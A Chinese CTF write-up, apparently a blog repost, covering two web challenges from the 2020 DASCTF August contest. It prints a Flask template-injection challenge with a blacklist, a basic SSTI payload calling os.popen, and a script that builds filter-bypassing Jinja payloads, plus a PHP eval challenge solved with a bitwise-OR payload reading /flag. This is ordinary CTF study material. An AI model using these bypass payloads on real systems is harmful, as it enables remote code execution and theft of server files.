2020DASCTF八月浪漫七夕戰


安恆大學

注入點在郵箱注冊那里,無法復現了,提一下

ezflask

源代碼

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

解題思路

代碼倒是還行,審計沒啥難度。只有一個根路由,ssti模板注入,大概意思就是paylaod里不能有黑名單的字符串等,否則會報錯,成功bypass后獲得flag。那么問題就來了,幾乎過濾了常見的ssti所有字符串。如何bypass呢?

bypass

{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

上面是ssti最基本的payload,基於此進行bypass,這里過濾了引號,request,chr,subclasses,加號,導致關鍵字被過濾了,無法通過拼接或者轉義其中任何一種方式構造payload,所以我在這里思路斷了,在網上也沒搜索到可以替換subclasses的方法,看y1ng師傅的wp,y1ng,yyds!

我發現真的吐血了,原題,為什么我比賽的時候搜不到這題,寫wp的時候一搜就搜到了。CBCTF easyflask

我們需要知道的知識:

  1. python中的__doc__是什么?

一般而言,是對函數/方法/模塊所實現功能的簡單描述。

2.如何不使用上面的黑名單構造payload?

  • {% set ca = dict(ca=aa,t=dd)|join() %} //cat
  • {%set c=dict(c=1).keys()|reverse|first%} //c
  • {{(dict(a=1))|string|truncate(3,True,a|string)|list|last}} == 'a' //a

使用上面一種方法即可構造,這里我還沒有琢磨透,找個時間仔細琢磨下payload的構造把

exp

這里直接貼腳本了

payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}' 
payload = '' 

def get_alp(alp, goal): 
    num = ord(alp) 
    result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace( 
        '{num}', str(num)).replace('{goal}', goal) 
    return result 

def get_word(des, goal): 
    # goal = 'ds2' 
    # des = '__globals__' 
    result = '' 
    for i in des: 
        result += (get_alp(i, goal)) 
    return result 

def main(): 
    # poc = "url_for.__globals__.__builtins__.open('/flag').read()" 
    i = 0 
    while(1): 
        text = input('>') 
        print('i'+str(i), end=':') 
        print(get_word(text, 'i'+str(i))) 
        i += 1 

main()

知識點

  • ssti繞過新姿

ezrce

源代碼

<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('you are not smart');
    }
}
eval("echo($code)");
?>

解題思路

過濾了數字,字母,異或,取反的rce,只要最后能執行eval里的語句即可。這兩道題過濾的是真狠,幾乎所有常見的bypass都過濾了

這里看到有兩種思路,y1ng師傅的或者是|按位或運算符

|按位或運算

其實按位或運算的思想挺簡單,就是當時沒往這里想,首先看看,反引號沒有被禁,那么我們就用反引號構造

payload的有很多

挑一個readfile(/flag)

這里就用反引號的二進制位與payload的二進制位對比,得出最后的payload:

('````````')|' ')('/````'|'/ '))//readfile(/flag)

總結思路

尋找新的運算符構造payload

知識點

  • rcebypass新姿勢


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM